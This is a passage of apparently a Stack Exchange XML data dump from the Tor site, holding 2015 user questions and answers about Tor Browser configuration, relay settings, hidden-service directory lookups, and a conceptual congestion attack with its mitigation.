  <row Id="8681" PostTypeId="2" ParentId="8672" CreationDate="2015-09-16T06:18:05.093" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Download Tor Browser Bundle and install it.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;..\Tor Browser\Browser\TorBrowser\Data\Tor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You will find a file &lt;code&gt;torrc&lt;/code&gt;. Edit this file with notepad.&lt;/li&gt;&#xA;&lt;li&gt;At the end add &lt;code&gt;ExitNodes IP&lt;/code&gt;. E.g. &lt;code&gt;Exitnodes 46.165.223.217&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1384" LastEditorUserId="8197" LastEditDate="2015-09-18T07:41:29.817" LastActivityDate="2015-09-18T07:41:29.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8682" PostTypeId="1" CreationDate="2015-09-16T09:58:01.063" Score="2" ViewCount="576" Body="&lt;p&gt;Assuming my router at home is compromised, what can an attacker see or do in case I use tails or the Tor browser for surfing? &lt;/p&gt;&#xA;" OwnerUserId="9401" LastActivityDate="2017-09-04T15:41:05.820" Title="Does Tor/Tails still protect me if my router at home is compromised?" Tags="|routers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8683" PostTypeId="1" CreationDate="2015-09-16T12:22:35.087" Score="3" ViewCount="92" Body="&lt;p&gt;I've a fairly vanilla Debian with GNOME Shell install configured to use a system Tor daemon as a SOCKS proxy in Settings -&gt; Network -&gt; Network proxy.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I kill the Tor process, then the system hangs.  This happens if tor is killed directly or using &lt;code&gt;systemd&lt;/code&gt;.  It's just some part of GNOME Shell that crashes, as the system does not hang if I kill tor from a virtual concole. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on what processes need to die when the tor process dies to prevent this? &lt;/p&gt;&#xA;" OwnerUserId="3731" LastEditorUserId="8197" LastEditDate="2015-09-16T23:29:04.763" LastActivityDate="2015-09-16T23:29:04.763" Title="Tor crashes GNOME Shell" Tags="|debian|proxy|" AnswerCount="0" CommentCount="5" ClosedDate="2016-03-11T11:18:18.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="8684" PostTypeId="1" AcceptedAnswerId="8685" CreationDate="2015-09-16T13:16:56.250" Score="4" ViewCount="623" Body="&lt;p&gt;When I go to google.com (without being logged in) it switches to google.de (I am from Germany), even though I am using Tor. How is this information still available to google?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser Bundle 5.0.2. on Ubuntu 15.04&lt;/p&gt;&#xA;" OwnerUserId="9403" LastEditorUserId="9403" LastEditDate="2015-09-16T17:40:42.783" LastActivityDate="2015-09-18T19:13:15.797" Title="Google knows my language when I use Tor" Tags="|security|google|private|" AnswerCount="2" CommentCount="3" ClosedDate="2015-09-22T11:49:52.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="8685" PostTypeId="2" ParentId="8684" CreationDate="2015-09-16T13:48:32.513" Score="4" Body="&lt;p&gt;It is probably coincidence. Germany has a lot of exit nodes. (Are you using the Tor Browser Bundle?)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-09-16T13:48:32.513" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8686" PostTypeId="2" ParentId="8682" CreationDate="2015-09-16T13:58:32.760" Score="2" Body="&lt;p&gt;If an attacker owns your router, they can connect to any port on any host inside your network. Any file sharing, screen sharing, other services that are normally not open from the internet, are now exposed to your attacker.&lt;br&gt;&#xA;Using Tor does not protect against that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, owning your router does not allow an attacker to decrypt/modify your Tor sessions. (Assuming that they do not own the private keys to the relays in your circuits.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-09-16T13:58:32.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8687" PostTypeId="2" ParentId="8666" CreationDate="2015-09-16T16:49:16.127" Score="4" Body="&lt;p&gt;The type of attack you are describing is a congestion attack. In theory, the simplest form of such an attack would be a general DoS on the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking things one step further, a congestion attack could be used in conjunction with traffic correlation to monitor a given user of the Tor network. Such a strategy is discussed in &lt;a href=&quot;http://grothoff.org/christian/tor.pdf&quot; rel=&quot;nofollow&quot;&gt;A Practical Congestion Attack on Tor Using Long Paths&lt;/a&gt; (section 2.2.3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mitigate such attacks, as of Tor version 0.2.1.3-alpha, &lt;strong&gt;the maximum number of hops is restricted to 8&lt;/strong&gt;, regardless of what is set in the client code. This is done by restricting the number of &quot;relay early&quot; cells that a client can send when creating a circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[A Practical Congestion Attack on Tor Using Long Paths, Section 5: Proposed Solutions]&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the modified design, Tor routers now must keep track of how often&#xA;  each circuit has been extended and refuse to route messages that would&#xA;  extend the circuit beyond a given threshold t. This can be done by&#xA;  tagging messages that may extend the circuit with a special flag that&#xA;  is not part of the encrypted stream. The easiest way to do this is to&#xA;  introduce a new Tor cell type that is used to flag cells that may&#xA;  extend the circuit. &lt;strong&gt;Routers then count the number of messages with the&#xA;  special flag and refuse to route more than a given small number (at&#xA;  the moment, eight) of those messages.&lt;/strong&gt; Routers that receive a&#xA;  circuit-extension request check that the circuit-extension message is&#xA;  contained in a cell of the appropriate type.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2015-09-16T18:00:51.143" LastActivityDate="2015-09-16T18:00:51.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8688" PostTypeId="1" CreationDate="2015-09-16T21:01:11.120" Score="2" ViewCount="230" Body="&lt;p&gt;While browsing websites using Tor (on tails), it sometimes happens that instead of &lt;code&gt;www.website.org&lt;/code&gt;, &lt;code&gt;www.website.org:8123&lt;/code&gt; is displayed in the URL bar. In this case the website is not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use a normal browser instead, however, this redirection does not happen and the website works properly. Is there any explanation for this behaviour? &lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="5445" LastEditDate="2015-09-17T10:36:29.273" LastActivityDate="2015-12-17T16:48:20.623" Title="Why am I redirected to a certain port on a website while using Tor?" Tags="|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8689" PostTypeId="1" CreationDate="2015-09-16T22:54:58.750" Score="1" ViewCount="81" Body="&lt;p&gt;I've been trying to get a hidden service up and running for a while now. I've followed several guides and they all pretty much say the same thing. I've opened up the port that I have apache2 listening to. I can view it on the clearnet so I know that much is working. I've configured the &lt;code&gt;torrc&lt;/code&gt; file to redirect to my open port also. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, whenever I try to view my &lt;code&gt;.onion&lt;/code&gt; in tor browser its always down. I've done &lt;code&gt;chmod&lt;/code&gt; on the directory so that shouldn't be an issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? Someone please help me. I cant get this to work for the life of me. Would be willing to donate to someone who took the time to walk me through this.&lt;/p&gt;&#xA;" OwnerUserId="8032" LastEditorUserId="8197" LastEditDate="2015-09-17T10:34:35.667" LastActivityDate="2015-09-17T10:34:35.667" Title=".Onion not viewable, apache2 is working" Tags="|onion-services|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8692" PostTypeId="2" ParentId="6647" CreationDate="2015-09-17T10:42:41.903" Score="2" Body="&lt;p&gt;This is described in detail in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Rendezvous Specification&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically a client will check 6 HSDirs. It calculates which 6 nodes to check from the .onion address itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the below explanation, &lt;em&gt;Bob&lt;/em&gt; is the owner of the hidden service (i.e. the .onion site), and &lt;em&gt;Alice&lt;/em&gt; is the person wanting to connect to the hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bob&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bob wants to advertise his &lt;em&gt;service descriptor&lt;/em&gt; - basically a description of his hidden service. He does so by publishing his descriptor to a subset of all HSDirs.&lt;/li&gt;&#xA;&lt;li&gt;The size of this subset is &lt;strong&gt;6 HSDirs&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;He determines which 6 nodes to publish to by using the &lt;em&gt;consensus status document&lt;/em&gt;, which he obtains from the Directory Authorities, and uses his .onion address to calculate the &lt;em&gt;descriptor-id&lt;/em&gt;s of the 6 HSDirs to use.&lt;/li&gt;&#xA;&lt;li&gt;[For reference, see section &lt;em&gt;1.4 - Bob's OP advertises his service descriptor&lt;/em&gt; of the specification mentioned above]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alice&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alice fetches Bob's service descriptor from one of these 6 HSDir nodes. &lt;/li&gt;&#xA;&lt;li&gt;To determine which nodes actually constitute these six, Alice fetches a list of all nodes in the network that have the HSDir flag set. She then calculates a &lt;em&gt;descriptor-id&lt;/em&gt; from Bob's .onion address, which she uses to work out which six nodes Bob has published his descriptor to. (There are more details in this part - this is just the crux of what happens.)&lt;/li&gt;&#xA;&lt;li&gt;If Alice receives a 404 response from any of her attempts to connect to one of these HSDirs, she tries one of the other six nodes.&lt;/li&gt;&#xA;&lt;li&gt;[For reference, see sections &lt;em&gt;1.5 - Alice receives a z.onion address&lt;/em&gt; and &lt;em&gt;1.6 - Alice's OP retrieves a service descriptor&lt;/em&gt; of the above specification.]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might also find &lt;a href=&quot;https://tor.stackexchange.com/questions/3430/few-questions-about-connecting-to-tor-hidden-services&quot;&gt;this&lt;/a&gt; previous thread useful.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2015-09-17T10:42:41.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8693" PostTypeId="2" ParentId="652" CreationDate="2015-09-17T15:07:36.180" Score="1" Body="&lt;p&gt;If you just want to remote-control the Tor Browser, have a look at &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/QA/Marionette&quot; rel=&quot;nofollow&quot;&gt;Marionette from Mozilla&lt;/a&gt;. It is built into the Tor Browser (and every other current Firefox). You &lt;strong&gt;enable it on the command line&lt;/strong&gt; by calling&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Browser/firefox -marionette&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(inside the bundle). You &lt;strong&gt;initialize&lt;/strong&gt; via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from marionette import Marionette&#xA;client = Marionette('localhost', port=2828);&#xA;client.start_session()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;strong&gt;load a new page&lt;/strong&gt; for example via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url='http://mozilla.org'&#xA;client.navigate(url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;http://marionette-client.readthedocs.org/en/latest/basics.html&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; (and further documentation) at readthedocs.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastActivityDate="2015-09-17T15:07:36.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8694" PostTypeId="2" ParentId="2002" CreationDate="2015-09-17T15:11:10.197" Score="0" Body="&lt;p&gt;To address your reason for this question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(I'm trying to use Selenium WebDriver and Tor together, but the Tor&#xA;  Browser doesn't allow the WebDriver add-on, so therefore, I need to&#xA;  use Tor with a regular Firefox browser.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you just want to remote-control the Tor Browser, have a look at &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/QA/Marionette&quot; rel=&quot;nofollow noreferrer&quot;&gt;Marionette from Mozilla&lt;/a&gt;. It is built into the Tor Browser (and every other current Firefox). You &lt;strong&gt;enable it on the command line&lt;/strong&gt; by calling&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Browser/firefox -marionette&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(inside the bundle). You &lt;strong&gt;initialize&lt;/strong&gt; via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from marionette import Marionette&#xA;client = Marionette('localhost', port=2828);&#xA;client.start_session()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;strong&gt;load a new page&lt;/strong&gt; for example via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url='http://mozilla.org'&#xA;client.navigate(url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;http://marionette-client.readthedocs.org/en/latest/basics.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; (and further documentation) at readthedocs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(copy of other &lt;a href=&quot;https://tor.stackexchange.com/a/8693/9411&quot;&gt;answer&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="9411" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-09-17T15:11:10.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8696" PostTypeId="1" CreationDate="2015-09-18T06:50:30.463" Score="0" ViewCount="67" Body="&lt;p&gt;I am presently unable to open attachments via email when accessed with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have have tried 2x different email providers with the same result, whereby the attachment is loaded but cannot be opened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="9414" LastActivityDate="2015-09-18T06:50:30.463" Title="Opening Attachments" Tags="|email|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8697" PostTypeId="2" ParentId="8688" CreationDate="2015-09-18T08:09:22.197" Score="1" Body="&lt;p&gt;I have seen this behavior on my own servers,&#xA;it happens when for example apache hosts many sites on separate ports.&#xA;When the site does not not properly (as you mention) then it shows the port in the url bar - even if you did not enter that port during the initial connection.&#xA;The usual setups is to have each site listen on port 80, but sometimes different setups are used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would also happen if you used the browser bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you go to 'example.url' , then the apache server hosts that site on port 81 instead of 80 (basically forwarding it from port 80 to port 81 internally) then this can happen.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2015-09-18T09:52:24.143" LastActivityDate="2015-09-18T09:52:24.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8698" PostTypeId="2" ParentId="8684" CreationDate="2015-09-18T19:13:15.797" Score="1" Body="&lt;p&gt;It's probably in your HTTP_ACCEPT headers. See&lt;br&gt;&#xA;&lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow&quot;&gt;https://panopticlick.eff.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can see your language there, so can other sites you visit. Mine says:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP_ACCEPT: Headers  text/html, */* gzip, deflate en-US,en;q=0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="286" LastActivityDate="2015-09-18T19:13:15.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8699" PostTypeId="1" CreationDate="2015-09-19T01:02:49.793" Score="1" ViewCount="620" Body="&lt;p&gt;im having problem with tor browser &lt;/p&gt;&#xA;&#xA;&lt;p&gt;after it make the connection and it open the browser after 10 to 15 sec it display a massage to me  say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tor unexpectedly exited. This might be due to a bug in Tor itself, another program on your system, or faulty hardware. Until you restart Tor, the Tor Browser will not able to reach any websites. If the problem persists, please send a copy of your Tor Log to the support team.&#xA;&#xA;9/19/2015 6:19:03 AM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;&#xA;9/19/2015 6:19:03 AM.300 [NOTICE] Renaming old configuration file to &quot;C:\Users\zoran\Desktop\TORBRO~1\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;&#xA;9/19/2015 6:19:03 AM.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;&#xA;9/19/2015 6:19:04 AM.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;&#xA;9/19/2015 6:19:04 AM.700 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;&#xA;9/19/2015 6:19:04 AM.900 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;&#xA;9/19/2015 6:19:05 AM.100 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;please advise &lt;/p&gt;&#xA;" OwnerUserId="9423" LastEditorUserId="8197" LastEditDate="2015-09-19T11:08:13.510" LastActivityDate="2015-09-19T20:30:43.177" Title="tor keep give me restart" Tags="|help|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8700" PostTypeId="1" AcceptedAnswerId="8703" CreationDate="2015-09-19T12:54:09.960" Score="1" ViewCount="2219" Body="&lt;p&gt;To establish connection with Tor node I need to send my IP address. Otherwise it will not know where to send reply. How is this better than ssl connection over proxy? Is this only helpful as obfuscation scheme because it's impossible for government to have access to all tor nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read about encryption of application layer. But some node needs to receive unencrypted version for the whole onion routing to initiate. If government would ask access to this node the whole process would be exposed.&lt;/p&gt;&#xA;" OwnerUserId="9427" LastActivityDate="2015-09-19T20:44:12.960" Title="How does Tor hide IP address if IP is essential for routing" Tags="|ip-address|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8701" PostTypeId="2" ParentId="8699" CreationDate="2015-09-19T14:40:57.110" Score="-1" Body="&lt;p&gt;You can look into using Bridges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow&quot;&gt;Documentation about bridges on the Tor Project web site.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9428" LastEditorUserId="350" LastEditDate="2015-09-19T20:30:43.177" LastActivityDate="2015-09-19T20:30:43.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8703" PostTypeId="2" ParentId="8700" CreationDate="2015-09-19T20:44:12.960" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How is this better than ssl connection over proxy? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is the same, except it's over a bunch of proxies, such that &lt;em&gt;none of the proxies can see the entire chain&lt;/em&gt;. If you use only a single proxy, it can tell where you connect from &lt;em&gt;and&lt;/em&gt; to.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But some node needs to receive unencrypted version for the whole onion routing to initiate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The client connects to the 1st node. It tells the 1st node to connect to the 2nd node. Then it tells the 2nd node to connect to the 3rd node, but the 1st node can not read this, as it is encrypted with the public key of the 2nd node. Likewise, the 1st and 2nd node can not read what the client sends to the 3rd node.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-09-19T20:44:12.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8704" PostTypeId="1" CreationDate="2015-09-20T02:46:59.843" Score="1" ViewCount="196" Body="&lt;p&gt;I've got a relay on an OpenVZ VPS which is constrained by the number of sockets available for use.  (&lt;code&gt;numtcpsock&lt;/code&gt; in &lt;code&gt;/proc/user_beancounters&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This results in my getting these errors in my Tor log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] Error creating network socket: No buffer space available&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously I can keep under the maximum number of sockets by reducing my advertised bandwidth, but that defeats the purpose of running a relay.  I've got much more bandwidth available to my server but can't take advantage of it due to the socket limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vendor of my VPS won't raise the limit on TCP sockets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... is there a way in Tor to reduce the number of sockets used for a given bandwidth configuration?&lt;/p&gt;&#xA;" OwnerUserId="9435" LastEditorUserId="8197" LastEditDate="2015-09-20T10:34:10.747" LastActivityDate="2015-09-20T10:34:10.747" Title="How to limit use of socket buffers?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8705" PostTypeId="2" ParentId="4667" CreationDate="2015-09-20T03:03:24.067" Score="0" Body="&lt;p&gt;If you're using the package from &lt;code&gt;universe/net&lt;/code&gt;, the &lt;code&gt;/usr/share/tor/tor-service-defaults-torrc&lt;/code&gt; file overrides the cookie location to &lt;code&gt;/var/run/tor/control.authcookie&lt;/code&gt;. You should be able to find it there, or you can override that setting by adding the following line to &lt;code&gt;/etc/tor/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CookieAuthFile /var/lib/tor/control_auth_cookie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9436" LastActivityDate="2015-09-20T03:03:24.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8706" PostTypeId="2" ParentId="8704" CreationDate="2015-09-20T06:49:05.187" Score="2" Body="&lt;p&gt;It looks like you're hitting the limit on kernel memory used for the send/receive buffers, not the absolute number of sockets.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ConstrainedSockets 0|1&#xA;       If set, Tor will tell the kernel to attempt to shrink the buffers&#xA;       for all sockets to the size specified in ConstrainedSockSize. This&#xA;       is useful for virtual servers and other environments where system&#xA;       level TCP buffers may be limited. If you’re on a virtual server,&#xA;       and you encounter the &quot;Error creating network socket: No buffer&#xA;       space available&quot; message, you are likely experiencing this problem.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will reduce performance, as TCP performs the best when the receive window is equal to the bandwidth delay product of the link (and default behavior is to do so when possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are additionally hitting a limit on the number of sockets, you probably should reduce the Advertized Bandwidth, because circuit failures (what happens when a relay fails to create a socket when requested) is harmful to user anonymity (the relay is forcing the client to re-do the path selection algorithm).&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2015-09-20T06:49:05.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8707" PostTypeId="1" AcceptedAnswerId="8709" CreationDate="2015-09-20T06:51:36.863" Score="1" ViewCount="712" Body="&lt;p&gt;I use Arm 1.4.5.0 with Tor 0.2.6.10 from the Tor repositories on a standard Debian Wheezy (7, oldstable) server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I first launch &lt;code&gt;arm&lt;/code&gt; I am not sure whether &lt;code&gt;tor&lt;/code&gt; is already running. No nickname is indicated in the Arm panel header. I configure my relay with the Arm Setup Wizard. Once the wizard completes, Arm outputs the message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ARM_NOTICE] Tor needs root permissions to start with this&#xA; configuration (it will drop itself to the current user afterward). To&#xA; continue...&#xA; - open another terminal&#xA; - run &quot;sudo /home/myusername/arm/startTor&quot;&#xA; - press 'r' here to tell arm to reconnect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(by the way, typing &lt;code&gt;r&lt;/code&gt; should be done in the Tor Configuration File panel and only once Tor has been stopped. In the main Arm page typing &lt;code&gt;r&lt;/code&gt; just resizes the graphs.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I have done as instructed, my relay nickname &amp;amp; exit policy are displayed in the Arm header, and it progressively picks up activity. Nevertheless, Arm shows this warning (which does not seem to have an effect):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ARM_WARN] the torrc differs from what tor's using.&#xA;You can issue a sighup to reload the torrc values by pressing x.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is this: &lt;strong&gt;every time I reboot, I have to start all over again&lt;/strong&gt;! It seems that the &lt;code&gt;torrc&lt;/code&gt; created/edited by Arm is not persistent. This is not just inconvenient: I am afraid that after a power outage, my relay will just boot back into a default exit relay configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="9426" LastActivityDate="2015-09-20T13:07:20.377" Title="Why is the configuration generated with Arm's setup not persistent?" Tags="|configuration|debian|nyx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8708" PostTypeId="2" ParentId="8668" CreationDate="2015-09-20T06:53:43.400" Score="5" Body="&lt;p&gt;Someone on your network appears to be censoring 4 out of the 5 the default obfs3 Brides that are distributed with Tor Browser. You will need to obtain a different set of Bridges from &lt;a href=&quot;https://bridges.torproject.org&quot; rel=&quot;noreferrer&quot;&gt;BridgeDB&lt;/a&gt;, and configure Tor Browser to use them (Step 2 and Step 3 from the link, with the corresponding documentation).&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2015-09-20T06:53:43.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8709" PostTypeId="2" ParentId="8707" CreationDate="2015-09-20T07:22:38.753" Score="3" Body="&lt;p&gt;You are not doing anything wrong. The message you see is in fact a false alarm. &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/16459&quot; rel=&quot;nofollow&quot;&gt;According&lt;/a&gt; to the &lt;code&gt;arm&lt;/code&gt; maintainer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;That message simply means that tor is currently running with the 'RunAsDaemon'&#xA;  option enabled, but this setting isn't in your torrc. This message is&#xA;  meant to help people who edit their torrc, forget to restart tor, and&#xA;  are then confused why the settings didn't take effect.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A simple solution is to edit your &lt;code&gt;/etc/tor/torrc&lt;/code&gt; file and then run &lt;code&gt;systemctl restart tor&lt;/code&gt; (for &lt;code&gt;systemd&lt;/code&gt;). You can also copy the contents of  &lt;code&gt;~/.arm/torrc&lt;/code&gt; into &lt;code&gt;/etc/tor/torrc&lt;/code&gt; and then start tor by &lt;code&gt;/arm/startTor&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="8197" LastEditDate="2015-09-20T13:07:20.377" LastActivityDate="2015-09-20T13:07:20.377" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8710" PostTypeId="2" ParentId="8673" CreationDate="2015-09-20T14:51:28.297" Score="3" Body="&lt;p&gt;Your question does contain an accurate description of these features. But I think I can add some useful information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New Circuit: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;appears to affect only the open tab and creates a new circuit for the site in that tab&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is exactly right, and it is really useful for a number of reasons. I use it if the site I am visiting asks me to solve a CAPTCHA and this often solves the problem. &lt;a href=&quot;https://tor.stackexchange.com/questions/1071/how-can-a-new-circuit-happen-without-closing-all-tabs?rq=1&quot;&gt;this question contains more reasons why we might want to use this feature&lt;/a&gt;. (I have pasted them below)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some times we may have to change when a circuit is slow, or if it does not allow certain traffic on policy. To lose all tabs for this is a huge burden.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for your comment on the Entry Guard, the behavior you noticed should be the same for New Identity as well. This is what Entry Guards are designed to do, &lt;a href=&quot;https://www.torproject.org/docs/faq#EntryGuards&quot; rel=&quot;nofollow&quot;&gt;see here&lt;/a&gt; in the Tor FAQ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New 